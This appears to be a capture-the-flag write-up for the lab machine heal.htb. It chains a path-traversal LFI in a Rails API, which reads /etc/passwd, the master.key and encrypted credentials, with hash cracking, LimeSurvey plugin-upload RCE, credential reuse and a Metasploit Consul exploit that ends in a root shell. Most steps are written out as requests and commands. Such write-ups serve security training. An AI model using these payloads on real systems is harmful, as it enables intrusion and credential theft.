The machine hosts multiple web applications: a Ruby on Rails API, a LimeSurvey instance, and a main site. Subdomain enumeration reveals an API endpoint vulnerable to LFI. Rails configuration files are extracted and decrypted, providing credentials for LimeSurvey. Authenticated RCE in LimeSurvey yields a shell. Privilege escalation is achieved by port‑forwarding a Consul instance and exploiting it for remote execution.
Target: heal.htb
Initial vector: LFI in Rails API
Privilege escalation: Consul service exec
Subdomain discovery:
$ ffuf -u http://heal.htb -H "Host: FUZZ.heal.htb" \ -w directory-list-2.3-medium.txt -fs 178 -> api -> API
The API is a Ruby on Rails 7.1.4 application.
Main site:
http://heal.htb
Another subdomain hosts LimeSurvey:
http://take-survey.heal.htb
The login page shows the user ralph@heal.htb.
The main site has a “Resume → Export as PDF” feature. Intercepting the request in Burp shows that the backend contacts:
api.heal.htb/export api.heal.htb/download
The filename parameter in /download is vulnerable to LFI when used with a valid auth token.
Example:
GET /download?filename=../../../../../../etc/passwd
Users identified:
ralph ron administrator
Rails documentation suggests interesting files under config/.
Extract master key:
GET /download?filename=../../config/master.key -> 23d5052b447ee9376809464f8c141bdf
Extract encrypted credentials:
GET /download?filename=../../config/credentials.yml.enc
Use a public decryptor:
$ python3 decryptor.py credentials.yml.enc master.key
Recovered:
secret_key_base: 7c54b3ab1c9f9d5037c8f8c856b4be85...
Rails stores SQLite databases under storage/ in development mode.
GET /download?filename=../../storage/development.sqlite3
If SQLite is password‑protected, extract the user hash from Burp instead:
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
Crack with John:
$ john hash.txt -w /usr/share/wordlists/rockyou.txt -> 147258369
This password does not work for SSH, but works for LimeSurvey.
Login:
http://take-survey.heal.htb/admin user: ralph pass: 147258369
LimeSurvey version: 6.x Use an updated version of the plugin‑upload RCE exploit.
Adjust config.xml and the PHP payload to match version 6.
Zip the files and upload through the plugin manager.
Listener:
$ nc -nlvp 443
Exploit:
$ python3 exploit.py http://take-survey.heal.htb/ ralph 147258369 80
A shell as www-data is obtained.
Search for configuration files:
$ find / -iname "*config.php*" 2>/dev/null -> /var/www/limesurvey/application/config/config.php
Database credentials:
'username' => 'db_user', 'password' => 'AdmiDi0_pA$$w0rd',
Try local users:
$ su ralph -> no $ su ron -> yes
Enumerate ports (linpeas or manual):
Consul running on port 8500
Port‑forward:
$ ssh ron@heal.htb -L 8500:localhost:8500
Access:
http://localhost:8500 -> Consul 1.19.2
Exploit Consul service execution:
$ msfconsole msf> use exploit/multi/misc/consul_service_exec msf> set RHOSTS 127.0.0.1 msf> set RPORT 8500 msf> set LHOST tun0 msf> run
A Meterpreter session is obtained.
Spawn a shell and read /root/root.txt.
The machine chains several vulnerabilities: Rails LFI, encrypted credentials exposure, LimeSurvey RCE, and Consul service execution. By extracting and decrypting Rails secrets, then exploiting LimeSurvey and Consul, full system compromise is achieved.